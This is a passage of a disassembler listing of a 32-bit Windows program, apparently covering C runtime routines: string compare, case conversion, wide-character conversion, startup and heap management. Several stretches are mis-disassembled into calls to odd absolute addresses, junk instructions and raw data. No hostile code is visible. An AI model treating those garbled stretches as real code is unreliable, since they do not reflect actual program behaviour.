CODE XREF: sub_41D8C0+20j ; sub_41D8C0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D93A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D93A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D8ED loc_41D90A: ; CODE XREF: sub_41D8C0+2Bj ; sub_41D8C0+84j pop edi pop esi locret_41D90C: ; CODE XREF: sub_41D8C0+6j retn ; --------------------------------------------------------------------------- loc_41D90D: ; CODE XREF: sub_41D8C0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D942 repe cmpsd jz short loc_41D942 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D935 cmp ch, dh jnz short loc_41D935 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D935 cmp ch, dh loc_41D935: ; CODE XREF: sub_41D8C0+63j ; sub_41D8C0+67j ... mov eax, 0 loc_41D93A: ; CODE XREF: sub_41D8C0+26j ; sub_41D8C0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D942: ; CODE XREF: sub_41D8C0+55j ; sub_41D8C0+59j test eax, eax jz short loc_41D90A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D935 dec eax jz short loc_41D969 cmp dh, ch jnz short loc_41D935 dec eax jz short loc_41D969 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D935 dec eax loc_41D969: ; CODE XREF: sub_41D8C0+8Fj ; sub_41D8C0+96j pop edi pop esi retn sub_41D8C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D96C proc near ; CODE XREF: sub_41824E+6p ; sub_41826C+48p ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4DDF74, 0 push ebx push esi push edi jnz short loc_41D999 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41DA32 cmp eax, 5Ah jg loc_41DA32 add eax, 20h jmp loc_41DA32 ; --------------------------------------------------------------------------- loc_41D999: ; CODE XREF: sub_41D96C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D9CD cmp ds:dword_43F194, esi jle short loc_41D9BB push esi push ebx call sub_41F735 pop ecx pop ecx jmp short loc_41D9C5 ; --------------------------------------------------------------------------- loc_41D9BB: ; CODE XREF: sub_41D96C+42j mov eax, ds:off_43EF88 mov al, [eax+ebx*2] and eax, esi loc_41D9C5: ; CODE XREF: sub_41D96C+4Dj test eax, eax jnz short loc_41D9CD loc_41D9C9: ; CODE XREF: sub_41D96C+ADj mov eax, ebx jmp short loc_41DA32 ; --------------------------------------------------------------------------- loc_41D9CD: ; CODE XREF: sub_41D96C+3Aj ; sub_41D96C+5Bj mov edx, ds:off_43EF88 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D9F1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D9FA ; --------------------------------------------------------------------------- loc_41D9F1: ; CODE XREF: sub_41D96C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D9FA: ; CODE XREF: sub_41D96C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_4DDF74 call loc_422DA3 add esp, 20h test eax, eax jz short loc_41D9C9 cmp eax, esi jnz short loc_41DA25 movzx eax, [ebp+var_4] jmp short loc_41DA32 ; --------------------------------------------------------------------------- loc_41DA25: ; CODE XREF: sub_41D96C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41DA32: ; CODE XREF: sub_41D96C+16j ; sub_41D96C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D96C endp ; =============== S U B R O U T I N E ======================================= sub_41DA37 proc near ; CODE XREF: seg000:00418824p ; sub_41A044+238p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41DA4E loc_41DA44: ; CODE XREF: sub_41DA37+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41DA44 loc_41DA4E: ; CODE XREF: sub_41DA37+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41DA37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA54 proc near ; CODE XREF: seg000:004187F6p ; seg000:00418807p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41DB21 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41DB4E cmp ds:dword_4DDF74, esi jnz short loc_41DAA5 cmp edi, esi jbe loc_41DB4E loc_41DA84: ; CODE XREF: sub_41DA54+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41DB4E inc eax inc edx inc edx cmp eax, edi jb short loc_41DA84 jmp loc_41DB4E ; --------------------------------------------------------------------------- loc_41DAA5: ; CODE XREF: sub_41DA54+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_428184 push edi push edx push 0FFFFFFFFh push ebx push 9 push ds:dword_4DDF84 call esi ; MultiByteToWideChar test eax, eax jnz loc_41DB4D call ds:dword_42808C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41DADF loc_41DAD0: ; CODE XREF: sub_41DA54+CBj ; sub_41DA54+F7j mov ds:dword_4DDEB4, 2Ah or eax, 0FFFFFFFFh jmp short loc_41DB4E ; --------------------------------------------------------------------------- loc_41DADF: ; CODE XREF: sub_41DA54+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41DAE7: ; CODE XREF: sub_41DA54+B3j mov cl, [eax] test cl, cl jz short loc_41DB09 mov edx, ds:off_43EF88 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41DAFE inc eax loc_41DAFE: ; CODE XREF: sub_41DA54+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41DAE7 loc_41DB09: ; CODE XREF: sub_41DA54+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push ds:dword_4DDF84 call esi ; MultiByteToWideChar test eax, eax jnz short loc_41DB4E jmp short loc_41DAD0 ; --------------------------------------------------------------------------- loc_41DB21: ; CODE XREF: sub_41DA54+Fj cmp ds:dword_4DDF74, esi jnz short loc_41DB34 push [ebp+arg_4] call sub_41B1D0 pop ecx jmp short loc_41DB4E ; --------------------------------------------------------------------------- loc_41DB34: ; CODE XREF: sub_41DA54+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push ds:dword_4DDF84 call ds:dword_428184 ; MultiByteToWideChar cmp eax, esi jz short loc_41DAD0 loc_41DB4D: ; CODE XREF: sub_41DA54+6Bj dec eax loc_41DB4E: ; CODE XREF: sub_41DA54+1Aj ; sub_41DA54+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41DA54 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428720 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_4281B4 ; GetVersion xor edx, edx mov dl, ah mov ds:dword_4DDECC, edx mov ecx, eax and ecx, 0FFh mov ds:dword_4DDEC8, ecx shl ecx, 8 add ecx, edx mov ds:dword_4DDEC4, ecx shr eax, 10h mov ds:dword_4DDEC0, eax xor esi, esi push esi call sub_41DFF2 pop ecx test eax, eax jnz short loc_41DBBF push 1Ch call sub_41DC6E pop ecx loc_41DBBF: ; CODE XREF: seg000:0041DBB5j mov [ebp-4], esi call loc_423606 call near ptr 0BF0004h pusha mov ds:dword_4DF54C, eax call sub_4234D4 mov ds:dword_4DDF28, eax call sub_423287 call sub_4231CE call sub_41B974 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call near ptr 0CB0004h mov ecx, 5579E8h add [ecx+45F69C45h], cl rol byte ptr [ecx], 1 jz short loc_41DC0C movzx eax, word ptr [ebp-2Ch] jmp short loc_41DC0F ; --------------------------------------------------------------------------- loc_41DC0C: ; CODE XREF: seg000:0041DC04j push 0Ah pop eax loc_41DC0F: ; CODE XREF: seg000:0041DC0Aj push eax push dword ptr [ebp-64h] push esi push esi call near ptr 0CD0004h pop edi push eax call loc_401236 mov [ebp-60h], eax push eax call sub_41B9A1 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_422FF2 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41B9B2 ; =============== S U B R O U T I N E ======================================= sub_41DC49 proc near ; CODE XREF: sub_41D242+16p ; sub_42294B+4Dp ... arg_0 = dword ptr 4 cmp ds:dword_4DDF30, 1 jnz short loc_41DC57 call sub_423894 loc_41DC57: ; CODE XREF: sub_41DC49+7j push [esp+arg_0] call sub_4238CD push 0FFh call ds:off_43CF50 pop ecx pop ecx retn sub_41DC49 endp ; =============== S U B R O U T I N E ======================================= sub_41DC6E proc near ; CODE XREF: seg000:0041DBB9p arg_0 = dword ptr 4 cmp ds:dword_4DDF30, 1 jnz short loc_41DC7C call sub_423894 loc_41DC7C: ; CODE XREF: sub_41DC6E+7j push [esp+arg_0] call sub_4238CD pop ecx push 0FFh call ds:dword_428068 ; ExitProcess retn sub_41DC6E endp ; =============== S U B R O U T I N E ======================================= sub_41DC92 proc near ; CODE XREF: sub_41B24B+2Ap ; sub_423C7E+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, ds:dword_4DE2E0 jnb loc_41DD2C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DE1E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DD2C push edi call sub_423BA6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DD0B cmp edi, 1 jz short loc_41DCD9 cmp edi, 2 jnz short loc_41DCEF loc_41DCD9: ; CODE XREF: sub_41DC92+40j push 2 call sub_423BA6 push 1 mov ebp, eax call sub_423BA6 pop ecx cmp eax, ebp pop ecx jz short loc_41DD0B loc_41DCEF: ; CODE XREF: sub_41DC92+45j push edi call sub_423BA6 pop ecx push eax call ds:dword_42806C ; CloseHandle test eax, eax jnz short loc_41DD0B call ds:dword_42808C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41DD0D ; --------------------------------------------------------------------------- loc_41DD0B: ; CODE XREF: sub_41DC92+3Bj ; sub_41DC92+5Bj ... xor ebp, ebp loc_41DD0D: ; CODE XREF: sub_41DC92+77j push edi call loc_423B2C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DD28 push ebp call sub_4205FF pop ecx jmp short loc_41DD3D ; --------------------------------------------------------------------------- loc_41DD28: ; CODE XREF: sub_41DC92+8Bj xor eax, eax jmp short loc_41DD40 ; --------------------------------------------------------------------------- loc_41DD2C: ; CODE XREF: sub_41DC92+Ej ; sub_41DC92+2Fj and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 loc_41DD3D: ; CODE XREF: sub_41DC92+94j or eax, 0FFFFFFFFh loc_41DD40: ; CODE XREF: sub_41DC92+98j pop edi pop esi pop ebp pop ebx retn sub_41DC92 endp ; =============== S U B R O U T I N E ======================================= sub_41DD45 proc near ; CODE XREF: sub_41B24B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DD6E test al, 8 jz short loc_41DD6E push dword ptr [esi+8] call sub_41B2A1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DD6E: ; CODE XREF: sub_41DD45+Aj ; sub_41DD45+Ej pop esi retn sub_41DD45 endp ; =============== S U B R O U T I N E ======================================= sub_41DD70 proc near ; CODE XREF: sub_41DE10+2Dp ; sub_41DE10+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DD82 push esi call sub_41DE10 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DD82: ; CODE XREF: sub_41DD70+7j push esi call sub_41DDAB test eax, eax pop ecx jz short loc_41DD92 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DD92: ; CODE XREF: sub_41DD70+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DDA7 push dword ptr [esi+10h] call sub_423BE3 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DDA7: ; CODE XREF: sub_41DD70+26j xor eax, eax pop esi retn sub_41DD70 endp ; =============== S U B R O U T I N E ======================================= sub_41DDAB proc near ; CODE XREF: sub_41B24B+1Ap ; seg000:0041D444p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DDF8 test ax, 108h jz short loc_41DDF8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DDF8 push edi push eax push dword ptr [esi+10h] call loc_422BF6 add esp, 0Ch cmp eax, edi jnz short loc_41DDF1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DDF8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DDF1: ; CODE XREF: sub_41DDAB+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DDF8: ; CODE XREF: sub_41DDAB+14j ; sub_41DDAB+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DDAB endp ; =============== S U B R O U T I N E ======================================= sub_41DE07 proc near ; CODE XREF: sub_4229F0p push 1 call sub_41DE10 pop ecx retn sub_41DE07 endp ; =============== S U B R O U T I N E ======================================= sub_41DE10 proc near ; CODE XREF: sub_41DD70+Ap ; sub_41DE07+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp ds:dword_4DF300, esi jle short loc_41DE6E loc_41DE21: ; CODE XREF: sub_41DE10+5Cj mov eax, ds:dword_4DE2E4 mov eax, [eax+esi*4] test eax, eax jz short loc_41DE65 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DE65 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DE4B push eax call sub_41DD70 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DE65 inc ebx jmp short loc_41DE65 ; --------------------------------------------------------------------------- loc_41DE4B: ; CODE XREF: sub_41DE10+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DE65 test cl, 2 jz short loc_41DE65 push eax call sub_41DD70 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DE65 or edi, eax loc_41DE65: ; CODE XREF: sub_41DE10+1Bj ; sub_41DE10+23j ... inc esi cmp esi, ds:dword_4DF300 jl short loc_41DE21 loc_41DE6E: ; CODE XREF: sub_41DE10+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DE79 mov eax, edi loc_41DE79: ; CODE XREF: sub_41DE10+65j pop edi pop esi pop ebx retn sub_41DE10 endp ; =============== S U B R O U T I N E ======================================= sub_41DE7D proc near ; CODE XREF: seg000:0041DFE0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 0B10000h into cmp word ptr [eax], 5A4Dh jnz short loc_41DEA8 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DEA8 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DEA8: ; CODE XREF: sub_41DE7D+15j ; sub_41DE7D+1Cj pop esi retn sub_41DE7D endp ; --------------------------------------------------------------------------- loc_41DEAA: ; CODE XREF: sub_41DFF2+20p push ebp mov ebp, esp mov eax, 122Ch call sub_41BD10 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call ds:dword_4280C8 ; GetVersionExA test eax, eax jz short loc_41DEED cmp dword ptr [ebp-88h], 2 jnz short loc_41DEED cmp dword ptr [ebp-94h], 5 jb short loc_41DEED push 1 pop eax jmp loc_41DFEF ; --------------------------------------------------------------------------- loc_41DEED: ; CODE XREF: seg000:0041DED1j ; seg000:0041DEDAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 0B10000h mov dh, 85h ror byte ptr [edi], 84h rol byte ptr [eax], 1 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DF2F loc_41DF1C: ; CODE XREF: seg000:0041DF2Dj mov al, [ecx] cmp al, 61h jl short loc_41DF2A cmp al, 7Ah jg short loc_41DF2A sub al, 20h mov [ecx], al loc_41DF2A: ; CODE XREF: seg000:0041DF20j ; seg000:0041DF24j inc ecx cmp [ecx], bl jnz short loc_41DF1C loc_41DF2F: ; CODE XREF: seg000:0041DF1Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C060 add esp, 0Ch test eax, eax jnz short loc_41DF51 lea eax, [ebp-122Ch] jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF51: ; CODE XREF: seg000:0041DF47j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 0B10000h sbb [eax], edi popf ; --------------------------------------------------------------------------- dw 0FE64h dd 8D8DFFFFh, 0FFFFFE64h, 18A1374h, 87C613Ch, 47F7A3Ch dd 188202Ch, 75193841h, 64858DEDh, 50FFFFFEh, 0EDD4858Dh dd 0E850FFFFh, 0FFFFDB58h ; --------------------------------------------------------------------------- pop ecx pop ecx loc_41DF9A: ; CODE XREF: seg000:0041DF4Fj cmp eax, ebx jz short loc_41DFDC push 2Ch push eax call sub_41C1A0 pop ecx cmp eax, ebx pop ecx jz short loc_41DFDC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DFC1 loc_41DFB3: ; CODE XREF: seg000:0041DFBFj cmp byte ptr [ecx], 3Bh jnz short loc_41DFBC mov [ecx], bl jmp short loc_41DFBD ; --------------------------------------------------------------------------- loc_41DFBC: ; CODE XREF: seg000:0041DFB6j inc ecx loc_41DFBD: ; CODE XREF: seg000:0041DFBAj cmp [ecx], bl jnz short loc_41DFB3 loc_41DFC1: ; CODE XREF: seg000:0041DFB1j push 0Ah push ebx push eax call sub_41BD96 add esp, 0Ch cmp eax, 2 jz short loc_41DFEF cmp eax, 3 jz short loc_41DFEF cmp eax, 1 jz short loc_41DFEF loc_41DFDC: ; CODE XREF: seg000:0041DF9Cj ; seg000:0041DFAAj lea eax, [ebp-4] push eax call sub_41DE7D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DFEF: ; CODE XREF: seg000:0041DEE8j ; seg000:0041DFD0j ... pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41DFF2 proc near ; CODE XREF: seg000:0041DBADp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_4281C0 ; HeapCreate test eax, eax mov ds:dword_4DF544, eax jz short loc_41E048 call loc_41DEAA cmp eax, 3 mov ds:dword_4DF548, eax jnz short loc_41E02E push 3F8h call sub_41E04F pop ecx jmp short loc_41E038 ; --------------------------------------------------------------------------- loc_41E02E: ; CODE XREF: sub_41DFF2+2Dj cmp eax, 2 jnz short loc_41E04B call sub_41EB96 loc_41E038: ; CODE XREF: sub_41DFF2+3Aj test eax, eax jnz short loc_41E04B push ds:dword_4DF544 call ds:dword_4281BC ; HeapDestroy loc_41E048: ; CODE XREF: sub_41DFF2+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E04B: ; CODE XREF: sub_41DFF2+3Fj ; sub_41DFF2+48j push 1 pop eax retn sub_41DFF2 endp ; =============== S U B R O U T I N E ======================================= sub_41E04F proc near ; CODE XREF: sub_41DFF2+34p arg_0 = dword ptr 4 push 140h push 0 push ds:dword_4DF544 call ds:dword_428148 ; RtlAllocateHeap test eax, eax mov ds:dword_4DF53C, eax jnz short loc_41E06C retn ; --------------------------------------------------------------------------- loc_41E06C: ; CODE XREF: sub_41E04F+1Aj mov ecx, [esp+arg_0] and ds:dword_4DF534, 0 and ds:dword_4DF538, 0 push 1 mov ds:dword_4DF530, eax mov ds:dword_4DF540, ecx mov ds:dword_4DF528, 10h pop eax retn sub_41E04F endp ; =============== S U B R O U T I N E ======================================= sub_41E097 proc near ; CODE XREF: sub_41B2A1+17p ; sub_41B3F2+4Cp ... arg_0 = dword ptr 4 mov eax, ds:dword_4DF538 lea ecx, [eax+eax*4] mov eax, ds:dword_4DF53C lea ecx, [eax+ecx*4] loc_41E0A7: ; CODE XREF: sub_41E097+26j cmp eax, ecx jnb short loc_41E0BF mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E0C1 add eax, 14h jmp short loc_41E0A7 ; --------------------------------------------------------------------------- loc_41E0BF: ; CODE XREF: sub_41E097+12j xor eax, eax locret_41E0C1: ; CODE XREF: sub_41E097+21j retn sub_41E097 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0C2 proc near ; CODE XREF: sub_41B2A1+23p ; sub_41B3F2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E3E6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E198 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E126 push 3Fh pop edx loc_41E126: ; CODE XREF: sub_41E0C2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E17A cmp edx, 20h jnb short loc_41E151 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E172 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E172 ; --------------------------------------------------------------------------- loc_41E151: ; CODE XREF: sub_41E0C2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E172 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E172: ; CODE XREF: sub_41E0C2+86j ; sub_41E0C2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E17A: ; CODE XREF: sub_41E0C2+6Aj mov ecx, [ebp+var_4] loc_41E17D: ; CODE XREF: sub_41E0C2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E198: ; CODE XREF: sub_41E0C2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E1A6 push 3Fh pop edx loc_41E1A6: ; CODE XREF: sub_41E0C2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E249 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E1CB mov ebx, esi loc_41E1CB: ; CODE XREF: sub_41E0C2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E1DD mov edx, esi loc_41E1DD: ; CODE XREF: sub_41E0C2+117j cmp ebx, edx jz short loc_41E244 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E22C cmp ebx, 20h jnb short loc_41E20D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E22C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E22C ; --------------------------------------------------------------------------- loc_41E20D: ; CODE XREF: sub_41E0C2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E22C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E22C: ; CODE XREF: sub_41E0C2+128j ; sub_41E0C2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E244: ; CODE XREF: sub_41E0C2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E24C ; --------------------------------------------------------------------------- loc_41E249: ; CODE XREF: sub_41E0C2+EDj mov ebx, [ebp+arg_0] loc_41E24C: ; CODE XREF: sub_41E0C2+185j cmp [ebp+var_C], 0 jnz short loc_41E25A cmp ebx, edx jz loc_41E2DB loc_41E25A: ; CODE XREF: sub_41E0C2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E2DB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E2B2 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E2A1 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E2A1: ; CODE XREF: sub_41E0C2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E2DB ; --------------------------------------------------------------------------- loc_41E2B2: ; CODE XREF: sub_41E0C2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E2C8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E2C8: ; CODE XREF: sub_41E0C2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E2DB: ; CODE XREF: sub_41E0C2+192j ; sub_41E0C2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E3E6 mov eax, ds:dword_4DF534 test eax, eax jz loc_41E3D8 mov ecx, ds:dword_4DF52C mov esi, ds:dword_4281C4 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, ds:dword_4DF52C mov eax, ds:dword_4DF534 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_4DF534 mov ecx, ds:dword_4DF52C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_4DF534 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_4DF534 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E369 and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_4DF534 loc_41E369: ; CODE XREF: sub_41E0C2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E3D8 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, ds:dword_4DF534 push dword ptr [eax+10h] push 0 push ds:dword_4DF544 call ds:dword_428144 ; RtlFreeHeap mov eax, ds:dword_4DF538 mov edx, ds:dword_4DF53C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_4DF534 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CE80 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_4DF538 cmp eax, ds:dword_4DF534 jbe short loc_41E3CE sub [ebp+arg_0], 14h loc_41E3CE: ; CODE XREF: sub_41E0C2+306j mov eax, ds:dword_4DF53C mov ds:dword_4DF530, eax loc_41E3D8: ; CODE XREF: sub_41E0C2+234j ; sub_41E0C2+2ABj mov eax, [ebp+arg_0] mov 